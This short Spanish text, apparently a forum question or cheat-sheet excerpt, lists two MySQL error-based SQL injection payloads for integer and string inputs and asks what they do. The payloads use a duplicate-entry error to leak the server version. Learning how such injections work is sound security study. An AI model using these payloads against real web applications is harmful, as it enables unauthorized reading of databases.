En este enlace muy bueno puede ver algunas expresiones de inyección SQL para MySQL.
Detección rápida
SQLi basado en errores
Para entradas de enteros:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Para entradas de cadena:
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
Los ataques anteriores deben generar errores de 'entrada duplicada'.
¿Qué logran esas dos consultas SQL?